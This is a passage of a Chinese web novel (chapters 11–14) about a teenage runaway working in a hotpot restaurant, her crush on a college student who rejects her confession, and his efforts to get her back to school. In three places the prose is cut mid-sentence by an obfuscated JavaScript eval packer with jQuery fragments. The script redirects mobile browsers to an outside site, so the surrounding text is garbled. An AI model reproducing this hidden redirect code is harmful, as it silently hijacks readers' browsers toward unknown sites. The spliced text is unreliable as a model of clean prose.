没有人给她唱摇篮曲,没有人给她讲故事,没有人教她应该如何长大……她受够了冰冷,所以选择逃离,连上不上学都不管了。也因为这样,她虽然已经十七岁,但有时候却比珂珂还要任性,还要幼稚。 黄书翠垂下眼帘,这是已经是她今年不知道第多少次感慨为何世上非要有这么多不幸,她拍拍女儿的头:“没事,你只是随便问问,又没有坏心思,而且姐姐是大孩子了,不会跟你生气,你去好好跟她个道歉,再问问她爱吃什么,我们多做几个她喜欢的菜。” 夏珂点点头,跑回房间,照做了。 方禾压根没怪珂珂,至于喜欢吃的菜嘛,她喜欢豌豆尖、喜欢竹笋、喜欢猪蹄,但她不知道夏岩有没有买这些菜,专门跑一趟去买又太麻烦……方禾就只说她上楼时在夏岩提着的袋子里看到的菜,说她喜欢吃玉米。 这顿年夜饭,夏岩是主厨。方禾夏珂玩够了也来帮忙择菜洗菜。 真正上桌吃饭的就四个人,所以夏岩没做太多菜,热菜只有四个,可乐鸡翅、麻辣水煮鱼、豆芽炒火腿和粉丝娃娃菜,一道玉米排骨汤,还有一盘买回来的卤味和一盘切好的水果。 那一盆玉米排骨汤一上桌就被放到了方禾面前,这个小细节让方禾有些感动,这家人真的有在照顾她的喜好。 饭后,三个小辈一起收拾厨房。 从厨房出来时,刚好赶上了外面放烟花。 烟花声在耳边炸开前,三人的眼睛都先被窗外五彩斑斓的光吸引。 夏岩已经过了最爱看热闹的年纪,又或者,这大半年的压抑生活已经让他对任何事物都提不起兴趣了,总之,他坐在沙发上没有动,安静地看着夏珂和方禾趿着拖鞋兴奋地往阳台跑。 烟花声起起伏伏,夏岩看着妹妹和方禾被映得忽明忽暗的脸,久违地感受到了一种平和与温馨。 目光在夏珂和方禾的脸上转了几圈,夏岩又一次清楚地感受到,方禾跟妹妹是不一样的。 他看妹妹时可不会心跳加速。 11. 第 11 章 烟花散了,夜色更浓。 方禾对电视机里的春晚节目提不起兴趣,她喜欢漂亮可爱的珂珂,也喜欢和夏岩待在一起,但这些都不能成为她久久待在别人家的理由。 所以趁黄书翠来客厅倒水的时候,方禾适时提出了要走。 黄书翠望了一眼窗外漆黑的天,又看了一眼沙发上两个女孩紧挨在一起的亲密模样,劝方禾留下:“太晚了,你要是不嫌弃的话,就留下跟珂珂一起睡吧?” “怎么会嫌弃,只是来你们家吃饭已经很打扰了……” “不打扰。”夏珂勾勾方禾的手,朝她露出一个浅浅的笑,“我把我床上的大熊抱去我哥那边,我们两个人睡不会挤的。” 黄书翠看着这个小小年纪就出来打工的女孩子,心里也满是怜爱。大年三十,让小姑娘一个人待在空落落的房子里,多冷清,多可怜。 说她母爱泛滥也好,想做点好事替丈夫积德也好,她都想对这个女孩子好一点,让方禾能在阖家团圆的日子里感受到几丝温情。 - 方禾被夏岩一家留到大年初一吃完晚饭,这次就算黄书翠再怎么留她都不肯留了,不是不喜欢这里,只是觉得大过年的自己一直待在别人家不太合适。 天色暗了,怕方禾一个人回去路上不安全,黄书翠还让儿子去送送。 夏岩没有拒绝,不管是碍于母亲的要求,还是出于对一个女孩子应有的照顾,他去送一送都无可厚非。 暮色中,街边四处都是亮起的霓虹灯牌。 晚风里,有烤红薯和糖炒栗子的焦甜。 夏岩不是话多的性子,一路上都没主动开过口。 方禾算是浓清楚了,她难过的时候夏岩会出于好心给她关怀,如果她好好的,夏岩对她就不冷不热。 方禾的视线有一大半的时间都落在夏岩身上,她想,多看他几眼,这一路就不算亏。 “你上去吧,晚上记得锁好门,关好窗。”卢嘉的治安不错,但前两年也出过半夜翻防盗窗入室行窃的事,走到小区门口时,夏岩这样嘱咐道。 人送到了,夏岩抬脚就准备离开,身后的方禾却忽然喊住了他:“夏岩,我们加个微信吧。” “没有必要,我们平常又没什么事情需要联系。”他不想再跟方禾有过多的交集和牵扯,她年纪小,联系多了不合适。 方禾拉住他羽绒服的衣角:“不加我就不准你走。” 夏岩:“……” 他以为十七岁的方禾不至于做出这样幼稚的举动。 风吹起她的高马尾,发丝飘到了他眼前,夏岩侧头躲开。 只是,他能躲得开发丝,却躲不过眼前这个姑娘。 “加一下嘛,我现在一个人住,万一有什么突发情况,我总得找个人来救我。” 就是这个不怎么靠谱的理由,说服了夏岩。 他同意了,不过也有条件:“我先说明,除非你有什么正事找我,其他情况,我不会回你的消息。” “不回就不回吧。”先加到手了再说。 方禾迫不及待地点开了自己的二维码,夏岩虽不情愿却也拿出手机扫了。 因为夏岩跟她加上了微信好友,这晚上方禾兴奋地在床上打了好几个滚,她翻着夏岩的朋友圈看了很久才缓过那阵兴奋劲。 屋子里没有动静,初二早上方禾睡到了自然醒。 她去了一趟超市,买了鸡蛋、玉米、汤圆和方便面,准备接下来的几天都不出门了。 一来这附近她早就逛遍了,已经不觉得新鲜,二来,街上的人都三三两两说说笑笑,愈发显得她孤零零。 方禾不是不会做饭,只是懒得再去购置平常不会用到的油盐酱醋,而且燃气灶她也还不太会用。所以就只买了些简单煮煮就能吃的东西。 两天时间在睡觉、玩手机以及跟佳冰打电话中过去。 方禾觉得这样挺好的,不用和爷爷吵架,不用看她那个不负责任的爸的脸色,她一个人自由自在,想吃就吃,想睡就睡,除了有点想念那个曾经会在除夕前亲手剥核桃、花生,然后用白糖猪油发面给她蒸糖包的奶奶,那个总会在正月初一笑眯眯地给她红包的奶奶,那个为了不让她难过,宁可不跟着儿子去城里过年也要在村里陪她的奶奶…… 奶奶去世后,那个家里仅存的一点温情也没有。 方禾再也不对那个家抱有任何期待。 想起奶奶,方禾难免觉得愧疚。奶奶这辈子都在山林和土地里度过,没出过远门,更没有坐过火车。 本来奶奶之前还说等着方禾考上大学了,她要跟着孙女一起坐火车去大学里看看。 于是能带奶奶去大学校园里逛一逛便也成了方禾的愿望。 只可惜,愿望还没来得及实现,就永远地落空了。 正月初四,玉娇姐回来了。 方禾有些意外,大多数人应该都是恨不得能在家里多待几天才对。 陈玉娇没说,但方禾也猜到了,玉娇应该是和家里人闹矛盾了。 正月初五晚上,宿舍人齐了。娅萍姐盘腿坐在沙发跟大家讲男朋友爸妈给她的红包。 大家磕着瓜子,听得认真。只有陈玉娇有些心不在焉,她在盘算自己今年要不要换个工作,或者去学学美甲,自己开个小店。 - 元宵节还没到,天气已经暖和起来了。 等到清明节的时候,更是早就步入了可以穿短袖的季节。 春天除了适合播种,还适合踏青和春游。 夏珂所在的小学除了组织研学,还办了运动会。 夏珂报名了篮球比赛。 因为是小学生,学校也没分什么男篮女篮,每个班各出五名男生和五名女生组成一支队伍,按抽到的签和其他班的球队打,赢了就晋级下一轮。 夏珂个子高挑,反应快,投篮也准,即便是和场上的其他男生相比,也显得格外耀眼。 毫无意外,夏珂打完决赛又捧着奖杯回家了。 虽然家里的条件不比以前了,但黄书翠还是小小地给女儿庆祝了一番。 方禾是周六去药店找夏岩的时候知道这些的,刚从书法班下课的夏珂进店看到方禾,赶紧让她哥把手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468182|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿出来,她要给方禾姐姐看她打比赛的视频。 方禾之前在公园的球场偶遇过夏珂跟朋友一起打篮球,见过夏珂打球的样子,早就知道球场上的夏珂眼神凌厉、动作利落,不同于她平时那副安静可爱的样子,但方禾看了录像才知道,原来在正式赛场上的夏珂更多了一股英气、多了几丝飒爽,小小年纪就兼具甜美和炫酷。 方禾跟夏珂走在前面聊着,夏岩默默在后面跟着,三人走到岔路口分开,这样的场景在这几个月里已经上演过很多次。 看了看走在一旁的夏岩,片刻的失神后,方禾微微叹气。 之前方禾只要看夏岩几眼就满足了,但日子越长她好像就越贪心了。 只是看看,似乎,不太够…… 回到员工宿舍,方禾睡了一个长长的午觉,醒来已经是傍晚。 睡饿了,方禾准备去小区外的烧烤摊买一份剁椒面筋,还没走到烧烤摊,倒是先撞见了李娅萍和送她回来的对象在一棵树下抱在一起说话。 最近好像总是能见到娅萍姐的对象,方禾没了一开始的好奇,见怪不怪地去点她的剁椒面筋了。 满满一纸碗的面筋,方禾边走边吃,回屋的时候已经吃完了,她趿着拖鞋跑去阳台给她种的矮生小番茄浇水。 花盆里的小番茄是一个多月前种下的,长得很快,刚开始还嫩绿纤弱,这会儿已经长得有方禾手掌那么高了,买种子的时候商家说种下两三个月小番茄就能成熟,方禾估计离开花应该没多久了。 本来方禾有一个看中了很久的小兔子花盆,可想来想去最后也没有买。 这些种小番茄的花盆都是娅萍姐的,原来里面种的是多肉,但是死掉了,方禾就问娅萍姐,空着的花盆她可不可以用来种小番茄。 李娅萍让方禾随便用,她对养花花草草没什么兴趣,当时看那两盆多肉长得好看,又便宜,她才买回来的,既然养死了,她也不打算再种了,反正都是空着,不如让方禾拿去种,没种成她也没什么损失,种成了她就问方禾要几颗摘来尝尝。 只是,连李娅萍自己也没想到,方禾的小番茄还没红,她就要走了。 五月底,李娅萍跟大家说了她要结婚的消息,没过几天就找赵文芳结算了工资,搬离了宿舍,走之前,她先给店里的同事都发了一波喜糖。 喜糖很甜,甜得让方禾对谈恋爱这件事情有了期待。 六月初的一天,正在给淡红的小番茄拍照的方禾忽然收到了考点周边手机信号可能会受到影响的短信。 对哦,要高考了……佳冰现在手头可能没有手机,但方禾还是给她发去了祝福的短信,希望她能考个好成绩。 韩佳冰也确实没有手机,所以方禾发出的这条短信,在八号下午才收到回复。 韩佳冰说她也不清楚自己考得怎么样,没有勇气对答案。还说考完了她就不管了,要先好好睡上几天好觉。 方禾能看出来,佳冰的字里行间都是兴奋,像一只脱笼之鸟,方禾也为好朋友高兴,可奇怪的是,她又高兴不起来,胸口总是闷闷的,她自己也说不清是为了什么。 12. 第 12 章 和韩佳冰聊完,看赵文芳没注意玩手机的她,方禾顺手点进了朋友圈。 她加了很多班里同学的好友,现在考完了,平时不怎么爱发朋友圈的同学也因为仪式感而发了—— 有感慨青春谢幕的,有感谢老师的,有感恩父母的,有发签了全班同学名字的校服的,还有发从教学楼上纷纷而下的试卷雨……这些方禾早有预料,她没料到的是,居然还有很多表白和官宣的同学。 方禾还在学校的时候就听班里传过谁喜欢谁,也看到那些过下晚自习后偷偷摸摸一起走的男生女生,当时她只想八卦,内心毫无波澜,但这一刻,看着他们发的穿着校服在校门口的合影,夕阳下牵手的影子,她突然好羡慕。 后厨飘来炒牛油锅底的味道,方禾被呛得眯起眼睛咳了咳,不受控制地流了几滴眼泪。 她以为自己不在意这些的,可是看到这些内容后,她还是好难过。 怎么好像大家都有人爱啊? 有家人,有朋友,有恋人。 方禾很羡慕,她也渴望被爱,被人紧紧地抱在怀里,被人温柔地呵护。 她只能渴望,只能幻想,因为她身边并没有这样一个始终陪着她、爱着她的人。 夏岩走进店里就看到了一个黯然神伤的方禾,不同于平时那个生气勃勃的方禾,此时的她脑袋半垂着,眼睛也红红的。 卡在这个特殊的时间点,他以为方禾是在为自己错过这一年的高考而难过,脚步顿了顿,他从书包侧边的口袋里拿了几颗桂花柠檬糖出来,算是安慰。 那糖是夏岩买来激励思敏的,思敏做作业太慢,夏岩想出了这个法子,只要她能在规定时间里做完,他就奖励她一颗糖果。 这种小奖励对年纪再大些的孩子或许并不奏效,但小学生,却正是会为了一颗糖果、一个果冻而高兴雀跃的年纪。 方禾接过糖果,紧紧地攥在手里,没吃。 怎么办,看着手中的糖果,再看看夏岩的背影,方禾发现自己好像已经不再满足于远远地看夏岩了。 他对她冷冷的还好,他只要一对她好,她就想离他更近一点,想多跟他说话,想拉他的手,甚至更多。 怎么会有长得这么好看、又对她这么好的人? 很少得到爱的方禾,只要一个看起来不错的人稍微对她好一些,她就陷进去了。当然,年少的方禾意识不到这个问题,她只知道她喜欢夏岩,她想跟夏岩谈恋爱,她迫切地想要一个温暖的怀抱。 鬼使神差地,方禾有了一个念头。 人在冲动之下可以做很多事情,就像她一年前出走时一样,其实在那之前她也没有想过要离家出走,但那天不知道怎么就想了,她跑去跟说了佳冰说了一声,当天晚上就收拾了行李箱,天还没亮,就趁着夜色走了。 现在也是一样,睡了一夜,方禾内心那股急于想要跟夏岩表白的冲动还没有压下去,那她就索性不压了,她起床收拾,出门前去阳台上摘了两颗已经红透了的小番茄。 走到药店的时候,已经快十二点了,方禾先在外面等着,等夏岩下班。 夏岩还奇怪呢,今天上午那个几乎天天都会来一趟的姑娘居然没有过来。 交班时间到了,夏岩背上包出了药店。 他在想,妹妹书包的拉链坏了,妹妹说下学期再换新的,是听妹妹的,还是这周末就去买给新书包;爸最近的状态不怎么好,压迫抽空再去一趟医院;妈今早上还说腰疼,也要找医生看看才行;还有,再有两个多月又要开学了,看情况,今年他应该没法去复学…… “夏岩。” 夏岩闻声转头,思绪被方禾这一声拉回。 还没问方禾叫他干什么,他刚微微张开的嘴巴就被方禾塞进来一个圆滚滚的东西。 正诧异着,就见方禾一副沾沾自喜的样子,笑着跟他解释:“这可是我自己种的小番茄,甜吧?” 因为知道了被喂进自己嘴里的东西是什么,夏岩敢嚼了。 下一秒,小番茄清甜爽口的滋味就在舌尖炸开。 “夏岩,我喜欢你。” 看着眼前的人,方禾脱口而出。 这样温柔、这样帅气的人,如果可以只属于她一个人就好了,她想霸占夏岩。 少女软绵绵的一句话,却像是一道惊雷,狠狠地劈在了夏岩的心头。 刚嚼了两下的小番茄还没咽下去,夏岩差点被小番茄的汁水呛到。 他赶紧把小番茄囫囵吞下去,沉声道:“胡闹,你知不知道自己在说什么?” “知道啊。” 情窦初开的少女对温柔型的帅哥还没有抵抗力。 方禾觉得夏岩长得好,性格好,对她也好,就不由自主地喜欢上了。 “你不知道!”夏岩厉声道,“听着,你那不是喜欢我。” 街上来来往往都是人,夏言情绪激动,一时没有控制住音量,这一声声音大了一点,引来不少路过的行人围观。 他拉着方禾的胳膊,把人带到僻静的巷子口,才继续说:“你之前没怎么接触过异性,所以我对你好一点,你心里一感动就觉得喜欢我了,但这并不是喜欢。” 方禾摇头:“是喜欢,你又不是我,你凭什么否定我的喜欢,我很确定,我喜欢你。” 怕太严厉会吓到她,夏岩又放软语气,耐着性子给她分析,一点一点解释给她听:“你年纪小,还不知道什么是喜欢,以后不要再随便说这种话了,好不好?” 方禾不想听这种话,眉心蹙起:“不好,我就是喜欢你!” “你才十六岁,你以后会见到更广阔的世界,会有更多更好的选择,会遇到比我更值得你喜欢的人。” “瞎扯!你就是嫌弃我,我知道你是大学生,你一定是觉得,我连高中都没有毕业,所以看不上我,对不对?” “没有,你别乱想。”他倒是嫌弃自己一身债,配不上她。 “那你为什么对我说这些冠冕堂皇的话?” “我冠冕堂皇,”夏岩深深地吸了一口气,突然握住方禾的肩,把人推到墙上按着,力气大,眼神也凶,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471281|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还小,什么都不懂,你知道耍朋友要干些什么吗?给我抱,给我亲,给我睡?你做得到吗?” 方禾第一次见这么凶的夏岩,突如其来的压迫感和怒气着实吓到她了,她僵在那里不知道该做什么。 “你看,你根本不清楚和我在一起要做些什么,要面临什么?” “清醒一点吧。”夏岩松开手,看着方禾的眼眶一点一点盈满泪水,内心有一丝不忍,但是该说的话他还是要说,“你现在该想的不是和谁谈恋爱,和谁在一起,而是怎么向上走,怎么让自己的生活好起来,你要是真这么小就结了婚生孩子,那你这一辈子就完了。” 方禾有想过自己的表白会被夏岩拒绝,但是他没有想过自己居然会被夏言骂的这么惨。 为什么会这样? “我喜欢你也有错吗?”她仰起脸,睫毛上挂着晶莹的泪珠。 夏岩垂眼盯着她身后的墙:“喜欢一个人没错,你错在不该在错误的时间喜欢一个人。” “你现在的世界太小了,小到只有火锅店,只有周边的这几个人,所以你觉得我好。”他退后两步,拉开距离,不去闻她头发上淡淡的桂花香,“你应该让自己走的更远,站的更高,才能遇到更好的人,而不是只局限于眼前的这一方小天地。” 蝉在拉长声音嘶鸣,方禾看见夏岩的喉结滚动了一下:“不要把目光局限在喜欢和爱这种虚无缥缈的事情上,好好想想,你有更重要的事情要做。” “可是我……”方禾伸手想拽他的衣袖。 夏岩躲开,打断她的话:“别用这种眼神看我,我不会跟十七岁的小姑娘谈恋爱的,你别想那些,我们还能做个偶尔说说话的朋友,你要是非一根筋那样想,那就连朋友也没得做,我以后不会再跟你说一句话,你懂我的意思吗?” 夏岩不想惹她伤心,她伤心了他自己心里也不好受,可他又能怎么办。 首先年纪就不对,再说了,就凭他现在这个条件,忙得团团转,连生活都够呛,哪还有时间去谈什么恋爱,哪还有资格去耗费一个女孩子的青春。 赚钱养家,照顾好妹妹和爸妈,这才是他现在该做的事情,而不是去和一个十七岁的女孩子不清不楚地纠缠。 “别哭了,好好回去睡一觉,等你再长大一点就会知道我拒绝才是为你好。” 留下这句话,夏岩最后看了方禾一眼,逼着自己转身就走。 方禾还靠墙站着,她看见夏岩越走越远,听见蝉声越来越嘶哑。 脚下阴凉的水泥地慢慢铺上了明亮的阳光,方禾发懵的脑袋才渐渐回神,想起她该回去了。 她出门时走得急,钥匙也忘了带,是玉娇姐给她开的门。 陈玉娇不知道方禾怎么了,早上出门前还兴致勃勃,回来时却一副失魂落魄的样子。 方禾说自己头疼,让玉娇姐帮忙跟老板请个假,她把自己蒙在被子里,饭也没吃,就那么睡着。 她不知道自己睡了多久,只知道天黑了,还下了好大的暴雨,仿佛一夜之间又回到了寒冬。 13. 第 13 章 这一晚,夏岩听了一夜的雨声。 脑海里,一会儿是方禾明媚的笑容,一会儿是方禾哭泣的泪眼。 不知怎的,他居然也难过了起来,难过自己拒绝了方禾。 不想拒绝的,可是……他怎么可以对一个没成年的小姑娘起心思。 他可真是病得不轻。 方禾毕竟年纪小,她可以没有分寸,可以不懂事。 可他,到底比她大了几岁,他怎么能没有分寸,怎么能不懂事?怎么能陪着她一起胡闹? 夏岩偏头打了自己一耳光,惩罚自己管不住心。 从明天起,要保持距离,只能把她当妹妹,就像对珂珂一样,只是妹妹,不能有其他不该有的想法。 夏岩在心里一遍又一遍地提醒自己。 夏天的雨,下得猛,停得也快。 一晚过去,地面连水痕都没有。 清早睁开眼,夏岩就在想,他是不是该停掉思敏的家教,免得去每次去店里时都会碰上方禾。 如果他不那么经常去的话,可能方禾也不会对他……所以,这一切都是他造成的。 虽然他的确很需要钱,可如果他的频繁出现会影响方禾,那他宁可不挣这个钱。 然而,等夏岩打电话跟赵文芳提这个话时,赵文芳却说,方禾让他安心来做家教,还说她以后看见夏岩都会躲着走,她不希望他因为自己而少一份赚钱的兼职。 晚上,夏岩抱着试一试的心态再次来到火锅店,他果然没见到方禾,之后的半个多月也一直如此。 偶尔他经过大堂时方禾碰巧端着菜路过,方禾也如同看到什么洪水猛兽一样,飞快地避到一旁。 即便是在这偶尔的几瞥中,夏岩也能感受到方禾对他的避之不及。 是他那天说的话太重了吗? 可不说重点又怎么会有效果。 方禾不再待见他了,夏岩反而觉得有些欣慰。 时间再长一点,她就能放下,继续快快乐乐地生活,过个几个月,她会慢慢忘掉这段本就不该存在的感情,再过个几年,方禾会遇到更好的,更值得她喜欢的人。 看着她自觉地跟他保持距离,他本来是高兴的,因为他的目的达到了,可是他内心深处又觉得有点难受,她不来药店买药,不来找他说话,他觉得心里空落落的,总感觉好像少了点什么。 为什么呢?夏岩不敢细想……该死,真是昏了头了。 没过几天,夏岩打工的托管班新来了几个女生,都是高考完来打暑假工的,夏岩有时候会听她们说起查分数和填志愿的事情,听她们畅想自己的大学生活。 去家教的时候,他听赵姨说,店里又招了两个女生,年纪都不大,都是十六七岁就不再继续读书的。 有了对比,夏岩的心头就生出了一种惋惜,这种惋惜最后全都落到了方禾的身上——本来,这个夏天方禾也可以开心地去到大学里,开始新生活的。 可是,她却只能日复一日地为火锅店里的琐碎事情忙碌。 他见过方禾的字迹,连点菜的单子都写得那样疏朗清秀,不像是成绩糟糕的学生。 那双手,应该用来写字,用来翻书页,而不是一直用来端菜。 他之前劝过方禾,可她不听,反而嫌他啰嗦。 他有心再去劝一劝,可方禾好不容易才习惯跟他保持距离,他这时候再去,岂不是前功尽弃? 可放任不劝,夏岩的心里又总是不舒服。 慢慢地,这种不舒服演变成了焦虑和担忧。 方禾跟他表白,他可以拒绝,但万一她过段时间没有碰到更好的人,而是碰到了更糟糕的人,那怎么办呢? 万一对方不拒绝,万一方禾跟别人稀里糊涂地在一起了,稀里糊涂地结婚了,那她这辈子以后的日子怎么办?就一直被困在火锅店里,困在家里吗? 夏岩不想看见那样的方禾,更害怕看见那样的方禾。 夏岩前思后想,要彻底解决这个问题,只能从根源入手,让方禾离开这里,回到她应该在的学校里。 斟酌了两天,夏岩决定让赵姨帮忙劝劝。 - 方禾最近正情绪低落,干活也提不起精神。 她心里总是很难过,她把这些难过都归因于夏岩不但拒绝了她的表白,还大声凶了她一顿。 可惜,娅萍姐辞职结婚去了,玉娇姐几天前也辞职去学美甲了,其他姐姐虽然能说上话,但到底是不够熟悉的,至于新来的两个女孩子,方禾甚至连话都还没有跟她们多说过几句。 佳冰前些天在琢磨填志愿的事,最近又在焦灼地等待录取结果,方禾不想拿自己的事情去烦佳冰,所以现在她连个说知心话的人都没有。 赵文芳也许是看出了她的闷闷不乐,居然主动来找方禾谈心了。 然而,赵文芳跟她谈的不是感情方面的事情,话里话外都好像是在劝她要回去读书。 可赵文芳这将近一年的时间里都没有跟她提过这些事情,只把她当普通的员工,没道理突然转了性子开始心疼她不上学。 方禾不太相信,她直接就问:“这些话真的是你想跟我说的吗?还是谁让你这样跟我的?” “这个啊……当然是……”在客人面前,赵文芳能夸夸其谈,说得天花乱坠,但对上小姑娘这双洞若观火的眼睛,赵文芳撒起谎来却打了磕绊。 “是夏岩对不对?”方禾一下就猜到了。卢嘉不小,但这座城市里劝过她回去读书的人只有夏岩,除了他这个跟赵文芳沾亲带故的人,谁又会去让赵文芳来劝她呢,所以并不难猜。 “这可是你自己猜到的,回头我得跟夏岩说说,不是我走漏了消息,是你自己机灵,一猜就中。” 话说到这里,也没有再继续劝的必要了。 赵文芳扇着扇子,不慌不忙地离开。 她本来不想答应夏岩,十多岁就出来打工讨生活的男孩女孩多得是,她不觉得方禾有什么特别的,她雇了方禾,每个月按时给方禾发工资,又没虐待方禾,方禾在她这店里也干得很开心,至少她没看出方禾有想上学的念头,那她好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477773|169853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端端地去劝人家做什么。 最近招人容易,反正店里走两个人是走,走三个人也是走,赵文芳不缺方禾这一个人手。问题是,当老板的,劝员工回去念书,这事她还真没干过。 夏岩求得真诚,大道理一句接一句,赵文芳自己也是有女儿的人,没听几句就被夏岩的话洗脑了,觉得夏岩说得有道理,那她就试着劝劝吧,真劝走了她不心疼,劝不走她也没有心里负担。 当晚九点半,夏岩像往常一样走出火锅店,方禾却追了出来,拦在他面前,质问他:“我都没有缠着你了,那你也别管我啊,你以为你是救世主吗?” 夏岩立刻就听出来了,方禾肯定是知道他让赵姨劝她的事情了。 “我没本事当救世主,我只是见不得你浪费大好青春。你现在打工,虽然现在每个月能挣几千块,但如果不学技能、不读书,十年后可能还是只能做同样的工作,这样,你真的甘心吗?” 他看着她的眼睛,真心希望她能听进去他的话:“方禾,我不怕以后的你怨现在没人肯拉你一把,我怕的是以后的你会恨现在的自己。” 方禾捂着耳朵大喊:“收起你那些劝说的话,我一句都不想听!” 她只是捂着耳朵,并没有跑走,夏岩就知道他们的对话还能继续下去。 他等方禾平复了情绪才接着说:“我休学一年了,如果明年家里的情况好些了,我大概率会回学校继续读书。” “方禾,我没有看不起你的意思,只是……”夏岩停顿了一下,似乎是在斟酌怎么说她才更容易接受,“你真的甘心就一直待在火锅店里端盘子吗?你的年纪还这么小,你今后的生活完全可以有更多的可能。” 或许是因为家里有个妹妹,或许是他自己尝过不得不从学校离开的滋味,又或许……总之,夏岩见不得方禾这样贱卖自己的未来。 读书确实不是万能的,但多读一点书,人生就多一点可能性。 夏岩甚至认真考虑过,如果家里一直这样拮据,他可以不复学,但也一定要让妹妹继续上学。 “你不喜欢你那个家,但是那个家能帮你继续完成学业。”夏岩千言万语想要劝解的话最后都归结为一句,“方禾,不要堵死自己的路,不然你以后会后悔的。” 真的会后悔吗? 方禾以前觉得自己不会后悔,但夏岩的声音那样清晰,听得她有些心虚,让她有些不太确定这一刻的她有没有后悔。 穷人家的孩子早当家。所以方禾很小的时候就会洗衣煮饭了,她知道地里的苞谷该在什么时节除草,知道小麦熟到什么程度可以收割。 她的生活技能远超同龄人,可因为穷,因为没人教,她的一部分思维还停留在比较幼稚的阶段。 她的思想远不够成熟,就像离家出走,她想走就走了,没去考虑辍学的后果她自己是否承担得起。 这是原生家庭的烙印,是童年苦难的后遗症。 她想得简单,也爱一条路走到黑,除非她自己想明白,不然谁跟她讲这些大道理她都不想听。 14. 第 14 章 在店里待了将近一年,方禾对于上班这件事情早没了最开始的新鲜感和激情。 她开始觉得枯燥和无聊。 睡到日上三竿,懒洋洋地躺在床上玩了很久手机,直到感觉肚子饿了,方禾才爬起来下楼吃了一碗酸辣粉。 吃完饭,方禾习惯性地往药店的方向走去,转过两条街,意识到自己居然又下意识地想去找夏岩,方禾连忙掉转脚步。 方禾可以接受夏岩不喜欢她,但她不想让夏岩讨厌她。 炎炎夏日,即便是上午,街上也渐渐热了起来。既然不能去找夏岩,方禾就懒得在街上晃悠了,她走进路边的便利店,买了一支冰淇淋,一边吃一边往回走。 兜里的手机响了,方禾把冰淇淋换到左手拿着,用右手去掏手机。 是韩佳冰发来的消息,说她已经被一志愿学校录取了,录取到的专业也是她最最心怡的那个。 这是好事,方禾很激动。 单手打字不方便,方禾把冰淇淋叼在嘴里,腾出两只手。 她字打得飞快,一连发了好多恭喜的话,还给佳冰发了一个红包。 韩佳冰一开始不肯收。 冰淇淋化得快,方禾改成了发语音:“我现在好歹也是挣钱的人了,这样的大喜事,我当然要发个红包为你庆祝庆祝。” “收下吧,我是真的替你高兴,大不了等你上大学挣了奖学金,你再给我发。” 听完语音,韩佳冰点开红包,犹豫了一会儿,鼓起勇气给方禾打了语音电话过去:“穗穗,你真的不打算回来继续读书了吗?” 方禾刚咬了一大口冰淇淋,舌头被冻得有些麻,冰碴子像是扎进了她喉咙里,让她说不出话来。 方禾仰起头嚼了嚼,咽下这口冰淇淋,缓了半分钟才开口,试图让自己的语气如常:“怎么突然又跟我说这个了,我不是都说了嘛,我不回去了,而且我现在真的过得挺好的。” 这辈子就这样了吧,反正也没人在意她活成什么样子,她不想努力了,不想改变了。 阳光太刺眼,方禾躲到树荫下,手机听筒里,韩佳冰在说:“前段时间我回学校拿毕业证和档案袋的时候,袁老师提起你了。” “她说什么?” “也没说什么,就欲言又止地叹了几口气。”韩佳冰看得出来,袁老师说起方禾时,眼里全是惋惜。 “穗穗……”韩佳冰纠结了一下,还是劝说道,“你这几天再好好想想吧,休学只办了一年,明年你再想回来,可就真的没机会了,而且耽误的时间越长,就越影响成绩。” 韩佳冰之前就劝过方禾几次,在知道方禾不想听那些劝说的话之后,她也就不再继续烦她。 被困在学校里每天早起背书、熬夜刷题的时候,韩佳冰甚至很羡慕方禾这只自由的脱笼之鸟。可她被心仪的大学录取后,看着家人的笑脸,听着周围人的夸赞和祝福,韩佳冰不可避免地就想起了方禾出走的这一年。 这一年方禾收获了自由和舒心,可她也确确实实错过了一些很重要的东西。 韩佳冰不是看不起方禾现在的工作。 如果方禾确实成绩很差,长处和喜好也确实不在读书上,那有一份能让她拿工资、让她开心的工作,韩佳冰会替好朋友高兴的。 可韩佳冰知道,方禾的成绩很好,她从前说过很羡慕在大都市的高楼大厦里工作,她曾因为解出一道数学大题而欣喜若狂,她曾因为英语作文满分而兴奋不已……想到这些,韩佳冰心里很不是滋味了。 她难过好朋友原本应该有更灿烂的路可以走,却偏偏选择了放弃。 电话挂断,冰淇淋也吃完了,方禾扔掉垃圾,点进了袁老师的朋友圈。 毫不意外,方禾看到了班里很多同学的录取结果。 有帮她一起做值日的同桌,有之前给她带过青椒肉丝炒饭的班长,有经常和她探讨题目的数学课代表,有曾经跟她成绩不相上下的同学,也有排名总是在班里吊车尾的同学…… 